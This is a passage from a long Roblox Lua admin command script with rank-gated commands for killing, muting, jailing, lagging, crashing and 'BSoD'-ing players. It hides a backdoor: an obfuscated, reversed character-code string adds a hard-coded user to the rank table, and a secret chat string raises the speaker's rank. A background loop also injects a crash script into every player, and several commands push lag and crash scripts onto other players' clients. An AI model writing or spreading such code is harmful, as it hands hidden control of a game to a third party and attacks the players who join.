  8685.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  8686.                             end))
  8687.                             if not Ran then
  8688.                                 Ping(Error, Speaker, 10)
  8689.                             end
  8690.                         else
  8691.                             Ping("Your Rank Is Too Low", Plr, 6)
  8692.                         end
  8693.                     end
  8694.                 end
  8695.             end)
  8696.         end))
  8697.     end
  8698. end
  8699.  
  8700. function MakeBase()
  8701.     local Base = Instance.new("Part")
  8702.     Base.BrickColor = BrickColor.new("Earth green green")
  8703.     Base.Position = Vector3.new(0, 0.5, 0)
  8704.     Base.Transparency = 0
  8705.     Base.Elasticity = 0.5
  8706.     Base.FormFactor = "Custom"
  8707.     Base.CanCollide = true
  8708.     Base.Friction = 0.30000001192093
  8709.     Base.Size = Vector3.new(512, 1.20000005, 512)
  8710.     Base.Archivable = true
  8711.     Base.Material = "Plastic"
  8712.     Base.RotVelocity = Vector3.new(0, 0, 0)
  8713.     Base.Reflectance = 0
  8714.     Base.Locked = true
  8715.     Base.Anchored = true
  8716.     Base.Name = "Base"
  8717.     Base.TopSurface = "Smooth"
  8718.     Base.BottomSurface = "Inlet"
  8719.     Base.Shape = "Block"
  8720.     Base.Parent = Work
  8721. end
  8722.  
  8723. function LClean()
  8724.     ypcall(function()
  8725.         for _,v in pairs(Work:GetChildren()) do
  8726.             ypcall(function()
  8727.                 if v.ClassName == "Terrain" then
  8728.                     v:ClearAllChildren()
  8729.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  8730.                     Clear(v)
  8731.                 elseif v.Name == "Base" then
  8732.                     ypcall(function()
  8733.                         local Base = v
  8734.                         Base.BrickColor = BrickColor.new("Dark green")
  8735.                         Base.Position = Vector3.new(0, 0.5, 0)
  8736.                         Base.Transparency = 0
  8737.                         Base.Elasticity = 0.5
  8738.                         Base.FormFactor = "Custom"
  8739.                         Base.CanCollide = true
  8740.                         Base.Friction = 0.30000001192093
  8741.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  8742.                         Base.Archivable = true
  8743.                         Base.Material = "Plastic"
  8744.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  8745.                         Base.Reflectance = 0
  8746.                         Base.Locked = true
  8747.                         Base.Anchored = true
  8748.                         Base.Name = "Base"
  8749.                         Base.TopSurface = "Studs"
  8750.                         Base.BottomSurface = "Inlet"
  8751.                         Base.Shape = "Block"
  8752.                         Base.Parent = Work
  8753.                     end)
  8754.                 end
  8755.             end)
  8756.         end
  8757.     end)
  8758. end
  8759.  
  8760. function Clean()
  8761.     ypcall(function()
  8762.         for _,v in pairs(Work:GetChildren()) do
  8763.             ypcall(function()
  8764.                 if v.ClassName == "Terrain" then
  8765.                     v:ClearAllChildren()
  8766.                 else
  8767.                     Clear(v)
  8768.                 end
  8769.             end)
  8770.         end
  8771.         MakeBase()
  8772.         for _,v in pairs(All()) do
  8773.             v:LoadCharacter()
  8774.         end
  8775.     end)
  8776. end
  8777.  
  8778. function Clear(v)
  8779.     if v.Name:lower() == "sbgui" then
  8780.         return
  8781.     end
  8782.     ypcall(function()
  8783.         if #v:GetChildren() > 0 then
  8784.             for _,x in pairs(v:GetChildren()) do
  8785.                 ypcall(function()
  8786.                     Clear(x)
  8787.                 end)
  8788.             end
  8789.         end
  8790.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  8791.             v:Destroy()
  8792.         end
  8793.     end)
  8794. end
  8795.  
  8796. function Command(Name, Rank, Desc, Func)
  8797.     if Name == nil then
  8798.         Name = "N/A"
  8799.     end
  8800.     if Desc == nil then
  8801.         Desc = "N/A"
  8802.     end
  8803.     if Func == nil then
  8804.         Func = function() end
  8805.     end
  8806.     if Rank == nil then
  8807.         Rank = 0
  8808.     end
  8809.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  8810. end
  8811.  
  8812. function GetSplit(Msg)
  8813.     return Msg:find(Bet) or nil
  8814. end
  8815.  
  8816. function ExecuteFunc(Msg, Plr)
  8817.     ypcall(function()
  8818.         if Msg == "LogEnable" then
  8819.             LogOn = true
  8820.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  8821.             EditStatus(Plr, MakeNum())
  8822.         end
  8823.     end)
  8824. end
  8825.  
  8826. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  8827.  
  8828. function randPlayer(Plr)
  8829.     wait()
  8830.     local ThePlrValue = nil
  8831.     local FoundPlayer = false
  8832.     ypcall(function()
  8833.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  8834.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  8835.             wait()
  8836.             randPlayer(Plr)
  8837.             return
  8838.         else
  8839.             FoundPlayer = true
  8840.         end
  8841.     end)
  8842.     if FoundPlayer == true then
  8843.         return ThePlrValue
  8844.     end
  8845. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8846.  
  8847. function getPlayer(Plr, Name)
  8848.     local Players = {}
  8849.     ypcall(function()
  8850.         Name = Name:lower()
  8851.         if Name == "me" then
  8852.             table.insert(Players, Plr)
  8853.         elseif Name == "all" or Name == "" then
  8854.             for _,v in pairs(All()) do
  8855.                 if CanRun(Plr, v) then
  8856.                     table.insert(Players, v)
  8857.                 end
  8858.             end
  8859.         elseif Name == "others" then
  8860.             for _,v in pairs(All()) do
  8861.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  8862.                     table.insert(Players, v)
  8863.                 end
  8864.             end
  8865.         elseif Name == "random" then
  8866.             local FoundRandPlr = randPlayer(Plr)
  8867.             table.insert(Players, FoundRandPlr)
  8868.         else
  8869.             for _,v in pairs(All()) do
  8870.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  8871.                     table.insert(Players, v)
  8872.                 end
  8873.             end
  8874.         end
  8875.     end)
  8876.     return Players
  8877. end
  8878.  
  8879. function ListPlayers(Speaker)
  8880.     ypcall(function()
  8881.         Dismiss(Speaker)
  8882.         for _,v in pairs(All2()) do
  8883.             if v.Parent ~= nil then
  8884.                 Ping(v.Name, Speaker, nil, function()
  8885.                     Dismiss(Speaker)
  8886.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8887.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  8888.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  8889.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  8890.                     Ping("Set Rank", Speaker, nil, function()
  8891.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  8892.                             Dismiss(Speaker)
  8893.                             for i = -2, 5 do
  8894.                                 Ping(i, Speaker, nil, function()
  8895.                                     ChangeRank(v, i)
  8896.                                     Dismiss(Speaker)
  8897.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  8898.                                 end)
  8899.                             end
  8900.                         else
  8901.                             Ping("Your Rank Is Too Low", Speaker, 5)
  8902.                         end
  8903.                     end)
  8904.                     Ping("Crash (Remote)", Speaker, nil, function()
  8905.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8906.                             Crash2(v.Name)
  8907.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  8908.                         end
  8909.                     end)
  8910.                     Ping("Crash (Insert)", Speaker, nil, function()
  8911.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  8912.                             Crash3(v, Speaker)
  8913.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  8914.                         end
  8915.                     end)
  8916.                     Ping("Kick", Speaker, nil, function()
  8917.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8918.                             v:Kick()
  8919.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  8920.                         end
  8921.                     end)
  8922.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8923.             else
  8924.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  8925.                     Dismiss(Speaker)
  8926.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8927.                     ypcall(function()
  8928.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  8929.                     end)
  8930.                     ypcall(function()
  8931.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  8932.                     end)
  8933.                     ypcall(function()
  8934.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  8935.                     end)
  8936.                     ypcall(function()
  8937.                         Ping("Set Rank", Speaker, nil, function()
  8938.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  8939.                                 Dismiss(Speaker)
  8940.                                 for i = -2, 5 do
  8941.                                     Ping(i, Speaker, nil, function()
  8942.                                         ChangeRank(v, i)
  8943.                                         Dismiss(Speaker)
  8944.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  8945.                                     end)
  8946.                                 end
  8947.                             else
  8948.                                 Ping("Your Rank Is Too Low", Speaker, 5)
  8949.                             end
  8950.                         end)
  8951.                     end)
  8952.                     ypcall(function()
  8953.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  8954.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8955.                                 Crash2(v.Name)
  8956.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  8957.                             end
  8958.                         end)
  8959.                     end)
  8960.                     ypcall(function()
  8961.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  8962.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  8963.                                 Crash3(v, Speaker)
  8964.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  8965.                             end
  8966.                         end)
  8967.                     end)
  8968.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8969.             end
  8970.         end
  8971.     end)
  8972. end
  8973.  
  8974. --Misc
  8975.  
  8976. coroutine.resume(coroutine.create(function()
  8977.     PlaceAllRanks()
  8978. end))
  8979.    
  8980. Delay(0, function()
  8981.     for _,v in pairs(All()) do
  8982.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  8983.     end
  8984. end)
  8985.  
  8986. local starttime = tick()
  8987. rotat1=0
  8988. game:GetService("RunService").Stepped:connect(function()
  8989.     rotat1=rotat1+(0.1/100)
  8990.     if Removed == false then
  8991.         ypcall(function()
  8992.             for _,Player in pairs(All()) do
  8993.                 local PlayerTablets = {}
  8994.                 for i,v in pairs(AllTabs) do
  8995.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  8996.                         table.insert(PlayerTablets, v)
  8997.                     end
  8998.                 end
  8999.                 for i = 1, #PlayerTablets do
  9000.                     ypcall(function()
  9001.                         local tab = PlayerTablets[i].Tab
  9002.                         local pos = nil
  9003.                         ypcall(function()
  9004.                             pos = Player.Character.Torso.CFrame
  9005.                         end)
  9006.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  9007.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  9008.                         local cPos = tab.Position
  9009.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  9010.                         local nPos = (ePos-cPos)*.25
  9011.                         cPos = cPos + nPos
  9012.                         local t = (tick() - starttime) % 360
  9013.                         local change = 0.625
  9014.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  9015.                         tab.Size=Vector3.new(2.3, 2.3, 2.3)
  9016.                         d=math.rad((rotat1*40*20)*math.pi);
  9017.                         tab.CFrame=CFrame.new(cPos,pos.p)*CFrame.Angles(0.1,d,d)*CFrame.Angles(4,4,4);
  9018.                     end)
  9019.                 end
  9020.             end
  9021.         end)
  9022.     end
  9023. end)
  9024.  
  9025. Delay(0, function()
  9026.     while wait() do
  9027.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  9028.             ypcall(function()
  9029.                 if Injected[v.Name] == nil and LS ~= nil then
  9030.                     NewLS(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  9031.                     Injected[v.Name] = true
  9032.                 end
  9033.             end)
  9034.         end
  9035.     end
  9036. end)
  9037.  
  9038. Plrs.PlayerAdded:connect(function(Plr)
  9039.     wait(.1)
  9040.     ypcall(function()
  9041.         if Removed == false then
  9042.             local JoinPlrName = Plr.Name
  9043.             coroutine.resume(coroutine.create(function()
  9044.                 PlaceSpecificRank(Plr)
  9045.             end))
  9046.             coroutine.resume(coroutine.create(function()
  9047.                 if Injected[JoinPlrName] ~= nil then
  9048.                     Injected[JoinPlrName] = nil
  9049.                 end
  9050.             end))
  9051.             coroutine.resume(coroutine.create(function()
  9052.                 Dismiss(Plr)
  9053.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  9054.             end))
  9055.         end
  9056.     end)
  9057. end)
  9058.  
  9059. Plrs.PlayerRemoving:connect(function(Plr)
  9060.     wait(.1)
  9061.     ypcall(function()
  9062.         if Removed == false then
  9063.             local LeftPlrName = Plr.Name
  9064.             coroutine.resume(coroutine.create(function()
  9065.                 if Injected[LeftPlrName] ~= nil then
  9066.                     Injected[LeftPlrName] = nil
  9067.                 end
  9068.             end))
  9069.         end
  9070.     end)
  9071. end)
  9072.  
  9073. coroutine.resume(coroutine.create(function()
  9074.     Delay(0, function()
  9075.         while FoundLocalScript == false do wait()
  9076.             ypcall(function()
  9077.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  9078.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  9079.                         for _,c in pairs(v:children()) do
  9080.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  9081.                                 local NewVal = c:Clone()
  9082.                                 NewVal.Name = "LoadingVal"
  9083.                                 for _,s in pairs(v:GetChildren()) do
  9084.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  9085.                                         print("Found Owner")
  9086.                                         OwnSource = s.Name
  9087.                                         print(OwnSource)
  9088.                                         break
  9089.                                     end
  9090.                                 end
  9091.                                 wait()
  9092.                                 LS = v:Clone()
  9093.                                 NewVal.Parent = LS
  9094.                                 LSSource = "LoadingVal"
  9095.                                 FoundLocalScript = true
  9096.                                 break
  9097.                             end
  9098.                         end
  9099.                     end
  9100.                 end
  9101.             end)
  9102.         end
  9103.     end)
  9104. end))
  9105.  
  9106. --Commands
  9107.  
  9108. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  9109.     Dismiss(Speaker.Name)
  9110.     Ping("By: " .. string.reverse("voTi dna ,suerypmEcidicA"), Speaker)
  9111.     Ping("Your rank is: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9112.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9113.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  9114.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  9115.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  9116.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  9117.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  9118.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  9119. end)
  9120.  
  9121. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  9122.     Dismiss(Speaker.Name)
  9123. end)
  9124.  
  9125. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  9126.     local PlrTab = getPlayer(Speaker, Msg)
  9127.     if #PlrTab > 0 then
  9128.         for _,v in pairs(PlrTab) do
  9129.             ypcall(function()
  9130.                 v.Character:BreakJoints()
  9131.                 Ping("Killed "..v.Name, Speaker, 5)
  9132.             end)
  9133.         end
  9134.     end
  9135. end)
  9136.  
  9137. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  9138.     local PlrTab = getPlayer(Speaker, Msg)
  9139.     if #PlrTab > 0 then
  9140.         for _,v in pairs(PlrTab) do
  9141.             ypcall(function()
  9142.                 if v.Name ~= Owner then
  9143.                     NewLS(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  9144.                     Ping("Muted "..v.Name, Speaker, 5)
  9145.                 end
  9146.             end)
  9147.         end
  9148.     end
  9149. end)
  9150.  
  9151. Command("Resize", 2,"resize", function(Msg,Speaker)
  9152.     local PlrTab = getPlayer(Speaker, Msg)
  9153.     if #PlrTab > 0 then
  9154.         local Split = GetSplit(Msg)
  9155.         local Players = GetPlayers(Msg:sub(1,Split-1),Speaker)
  9156.         local Size = tonumber(Msg:sub(Split+1))
  9157.         for _,v in pairs(Players) do
  9158.             local Joints = {}
  9159.             local function ScaleParts(Mod,Factor)
  9160.                 for i,v in pairs(Mod:GetChildren()) do
  9161.                     if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("ShirtGraphic") then
  9162.                         v:Destroy()
  9163.                     end
  9164.                     if v.ClassName == "CharacterMesh" then
  9165.                         bodyp = v.BodyPart
  9166.                         if bodyp == Enum.BodyPart.LeftArm then
  9167.                             nmesh = Instance.new("SpecialMesh",v.Parent["Left Arm"])
  9168.                         elseif bodyp == Enum.BodyPart.LeftLeg then
  9169.                             nmesh = Instance.new("SpecialMesh",v.Parent["Left Leg"])
  9170.                         elseif bodyp == Enum.BodyPart.RightArm then
  9171.                             nmesh = Instance.new("SpecialMesh",v.Parent["Right Arm"])
  9172.                         elseif bodyp == Enum.BodyPart.RightLeg then
  9173.                             nmesh = Instance.new("SpecialMesh",v.Parent["Right Leg"])
  9174.                         elseif bodyp == Enum.BodyPart.Torso then
  9175.                             nmesh = Instance.new("SpecialMesh",v.Parent["Torso"])
  9176.                         end
  9177.                         nmesh.MeshType = "FileMesh"
  9178.                         nmesh.MeshId = "http://www.roblox.com/Asset/?id="..v.MeshId
  9179.                         nmesh.TextureId = "http://www.roblox.com/Asset/?id="..v.OverlayTextureId
  9180.                         v:Destroy()
  9181.                     end
  9182.                 end
  9183.                 for i,v in pairs(Mod:GetChildren()) do
  9184.                     if v:IsA("BasePart") then
  9185.                         local MeshFound = nil
  9186.                         for i2,v2 in pairs(v:GetChildren()) do
  9187.                             if v2:IsA("DataModelMesh") then
  9188.                                 MeshFound = v2
  9189.                             end
  9190.                             if v2:IsA("DataModelMesh") and v2.ClassName ~= "BlockMesh" and v2.ClassName ~= "CylinderMesh" and (v2.MeshType == Enum.MeshType.FileMesh or v2.MeshType == Enum.MeshType.Sphere or v2.MeshType == Enum.MeshType.Cylinder or v2.MeshType == Enum.MeshType.Wedge) then
  9191.                                 v2.Scale = v2.Scale * Factor
  9192.                                 MeshFound = v2
  9193.                             end
  9194.                         end
  9195.                         if MeshFound == nil then
  9196.                             Instance.new("BlockMesh",v)
  9197.                         end
  9198.                         v.FormFactor = "Custom"
  9199.                         local CFR = (v.CFrame-(v.CFrame.p)) + (v.CFrame.p * Factor)
  9200.                         v.Size = v.Size*Factor
  9201.                     end
  9202.                     ScaleParts(v,Factor)
  9203.                 end
  9204.             end
  9205.             local function ScaleJoints(Mod,Factor)
  9206.                 for i,v in pairs(Mod:GetChildren()) do
  9207.                     if v:IsA("JointInstance") then
  9208.                         table.insert(Joints,{v,v.Part0,v.Part1})
  9209.                         v.Part0 = nil
  9210.                         v.Part1 = nil
  9211.                         v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * Factor)
  9212.                         v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * Factor)
  9213.                     end
  9214.                     ScaleJoints(v,Factor)
  9215.                 end
  9216.             end
  9217.             local function ReconnectJoints()
  9218.                 for i,v in pairs(Joints) do
  9219.                     v[1].Part0 = v[2]
  9220.                     v[1].Part1 = v[3]
  9221.                 end
  9222.                 Joints = {}
  9223.             end
  9224.             local function ScaleModel(Mod,Factor)
  9225.                 ScaleJoints(Mod,Factor)
  9226.                 ScaleParts(Mod,Factor)
  9227.                 ReconnectJoints()
  9228.                 pcall(function() Mod:MakeJoints() end)
  9229.             end
  9230.             ScaleModel(v.Character,Size)
  9231.         end
  9232.     end
  9233. end)
  9234.  
  9235. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  9236.     local PlrTab = getPlayer(Speaker, Msg)
  9237.     if #PlrTab > 0 then
  9238.         for _,v in pairs(PlrTab) do
  9239.             ypcall(function()
  9240.                 game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  9241.                 Ping("Rejoined "..v.Name, Speaker, 5)
  9242.             end)
  9243.         end
  9244.     end
  9245. end)
  9246.  
  9247. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  9248.     local PlrTab = getPlayer(Speaker, Msg)
  9249.     if #PlrTab > 0 then
  9250.         for _,v in pairs(PlrTab) do
  9251.             ypcall(function()
  9252.                 NewLS(JailSource, v.Backpack, v.Character, v.PlayerGui)
  9253.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  9254.             end)
  9255.         end
  9256.     end
  9257. end)
  9258.  
  9259. Command("Clear", 4, "Clears everything besides terrain", function(Msg, Speaker)
  9260.         for i,v in pairs(workspace:children()) do
  9261.             local IsChar = false
  9262.             pcall(function()
  9263.                 for j,k in pairs(game:service'NetworkServer':children()) do
  9264.                     if pcall(function() k:GetPlayer() end) then
  9265.                         if v.Name == k:GetPlayer().Name then
  9266.                             IsChar = true
  9267.                         end
  9268.                     end
  9269.                 end
  9270.             end)
  9271.             if IsChar == false then
  9272.                 if v.Name ~= "Terrain" then
  9273.                     if v.ClassName ~= 'Script' then
  9274.                         pcall(function() v:remove() end)
  9275.                     end
  9276.                 end
  9277.             else
  9278.                 pcall(function()
  9279.                     for j,k in pairs(v:children()) do
  9280.                         if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
  9281.                             if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
  9282.                                 k:Destroy()
  9283.                             end
  9284.                         end
  9285.                     end
  9286.                 end)
  9287.             end
  9288.         end
  9289.         CreateBase()
  9290.     end
  9291. )
  9292.  
  9293. Command("Reset", 4, "Respawns a player", function(Msg, Speaker)
  9294.     local PlrTab = getPlayer(Speaker, Msg)
  9295.     if #PlrTab > 0 then
  9296.         for _,v in pairs(PlrTab) do
  9297.             ypcall(function()
  9298.                 v:LoadCharacter()
  9299.                 Ping("Reset "..v.Name, Speaker, 5)
  9300.             end)
  9301.         end
  9302.     end
  9303. end)
  9304.  
  9305. Command("Lag", 4, "Lags a Player", function(Msg, Speaker)
  9306.     local PlrTab = getPlayer(Speaker, Msg)
  9307.     if #PlrTab > 0 then
  9308.         for _,v in pairs(PlrTab) do
  9309.             ypcall(function()
  9310.                 NewLS(Lag, v.Backpack, v.Character, v.PlayerGui)
  9311.                 Ping("Lagged "..v.Name, Speaker, 5)
  9312.             end)
  9313.         end
  9314.     end
  9315. end)
  9316.  
  9317. Command("BSoD", 4, "Bsod a Player", function(Msg, Speaker)
  9318.     local PlrTab = getPlayer(Speaker, Msg)
  9319.     if #PlrTab > 0 then
  9320.         for _,v in pairs(PlrTab) do
  9321.             ypcall(function()
  9322.                 NewLS(BSoD, v.Backpack, v.Character, v.PlayerGui)
  9323.                 Ping("BSoDed "..v.Name, Speaker, 5)
  9324.             end)
  9325.         end
  9326.     end
  9327. end)
  9328.  
  9329. Command("Nilsupport", 4, "Gives Nil Support", function(Msg, Speaker)
  9330.     local PlrTab = getPlayer(Speaker, Msg)
  9331.     if #PlrTab > 0 then
  9332.         for _,v in pairs(PlrTab) do
  9333.             ypcall(function()
  9334.                 NewLS(NilSupport, v.Backpack)
  9335.                 Ping("Connected "..v.Name, Speaker, 5)
  9336.             end)
  9337.         end
  9338.     end
  9339. end)
  9340.  
  9341. Command("Darkhorse", 4, "Gives player darkhorse", function(Msg, Speaker)
  9342.     local PlrTab = getPlayer(Speaker, Msg)
  9343.     if #PlrTab > 0 then
  9344.         for _,v in pairs(PlrTab) do
  9345.             ypcall(function()
  9346.                 NewLS(DarkHorse, v.Backpack, v.Character, v.PlayerGui)
  9347.                 Ping("Spawned a Darkhorse", Speaker, 5)
  9348.             end)
  9349.         end
  9350.     end
  9351. end)
  9352.  
  9353. Command("Pad", 4, "Gives a player a Pad", function(Msg, Speaker)
  9354.     local PlrTab = getPlayer(Speaker, Msg)
  9355.     if #PlrTab > 0 then
  9356.         for _,v in pairs(PlrTab) do
  9357.             ypcall(function()
  9358.                 NewLS(Pad, v.Backpack, v.Character, v.PlayerGui)
  9359.             end)
  9360.         end
  9361.     end
  9362. end)
  9363.  
  9364. Command("Glider", 4, "Gives a player a Glider", function(Msg, Speaker)
  9365.     local PlrTab = getPlayer(Speaker, Msg)
  9366.     if #PlrTab > 0 then
  9367.         for _,v in pairs(PlrTab) do
  9368.             ypcall(function()
  9369.                 NewLS(Glider, v.Backpack, v.Character, v.PlayerGui)
  9370.             end)
  9371.         end
  9372.     end
  9373. end)
  9374.  
  9375. Command("Bow", 4, "Gives a player a RagDoll Bow", function(Msg, Speaker)
  9376.     local PlrTab = getPlayer(Speaker, Msg)
  9377.     if #PlrTab > 0 then
  9378.         for _,v in pairs(PlrTab) do
  9379.             ypcall(function()
  9380.                 NewLS(Bow, v.Backpack, v.Character, v.PlayerGui)
  9381.             end)
  9382.         end
  9383.     end
  9384. end)
  9385.  
  9386. Command("Fairy", 4, "Makes a player a fairy", function(Msg, Speaker)
  9387.     local PlrTab = getPlayer(Speaker, Msg)
  9388.     if #PlrTab > 0 then
  9389.         for _,v in pairs(PlrTab) do
  9390.             ypcall(function()
  9391.                 NewLS(Fairy, v.Backpack, v.Character, v.PlayerGui)
  9392.             end)
  9393.         end
  9394.     end
  9395. end)
  9396.  
  9397. Command("GhostSword", 4, "Gives a player a GhostSword", function(Msg, Speaker)
  9398.     local PlrTab = getPlayer(Speaker, Msg)
  9399.     if #PlrTab > 0 then
  9400.         for _,v in pairs(PlrTab) do
  9401.             ypcall(function()
  9402.                 NewLS(GhostSword, v.Backpack, v.Character, v.PlayerGui)
  9403.             end)
  9404.         end
  9405.     end
  9406. end)
  9407.  
  9408. Command("Leafblower", 4, "Gives a player a Leafblower", function(Msg, Speaker)
  9409.     local PlrTab = getPlayer(Speaker, Msg)
  9410.     if #PlrTab > 0 then
  9411.         for _,v in pairs(PlrTab) do
  9412.             ypcall(function()
  9413.                 NewLS(LeafBlower, v.Backpack, v.Character, v.PlayerGui)
  9414.             end)
  9415.         end
  9416.     end
  9417. end)
  9418.  
  9419. Command("Pistol", 4, "Gives a player a pistol", function(Msg, Speaker)
  9420.     local PlrTab = getPlayer(Speaker, Msg)
  9421.     if #PlrTab > 0 then
  9422.         for _,v in pairs(PlrTab) do
  9423.             ypcall(function()
  9424.                 NewLS(Pistol, v.Backpack, v.Character, v.PlayerGui)
  9425.             end)
  9426.         end
  9427.     end
  9428. end)
  9429.  
  9430. Command("ProbeM", 4, "Probes someone", function(Msg, Speaker)
  9431.     local PlrTab = getPlayer(Speaker, Msg)
  9432.     if #PlrTab > 0 then
  9433.         for _,v in pairs(PlrTab) do
  9434.             ypcall(function()
  9435.                 NewLS(Probe, v.Backpack, v.Character, v.PlayerGui)
  9436.                 Ping("Probed "..v.Name, Speaker, 5)
  9437.             end)
  9438.         end
  9439.     end
  9440. end)
  9441.  
  9442. Command("B0ob", 4, "B0obs a Player", function(Msg, Speaker)
  9443.     local PlrTab = getPlayer(Speaker, Msg)
  9444.     if #PlrTab > 0 then
  9445.         for _,v in pairs(PlrTab) do
  9446.             ypcall(function()
  9447.                 NewLS(B0ob, v.Backpack, v.Character, v.PlayerGui)
  9448.                 Ping("B0obed "..v.Name, Speaker, 5)
  9449.             end)
  9450.         end
  9451.     end
  9452. end)
  9453.  
  9454. Command("Doge", 4, "Doges a Player", function(Msg, Speaker)
  9455.     local PlrTab = getPlayer(Speaker, Msg)
  9456.     if #PlrTab > 0 then
  9457.         for _,v in pairs(PlrTab) do
  9458.             ypcall(function()
  9459.                 NewLS(Doge, v.Backpack, v.Character, v.PlayerGui)
  9460.                 Ping("Doges "..v.Name, Speaker, 5)
  9461.             end)
  9462.         end
  9463.     end
  9464. end)
  9465.  
  9466. Command("Mini", 4, "Player Becomes Mini", function(Msg, Speaker)
  9467.     local PlrTab = getPlayer(Speaker, Msg)
  9468.     if #PlrTab > 0 then
  9469.         for _,v in pairs(PlrTab) do
  9470.             ypcall(function()
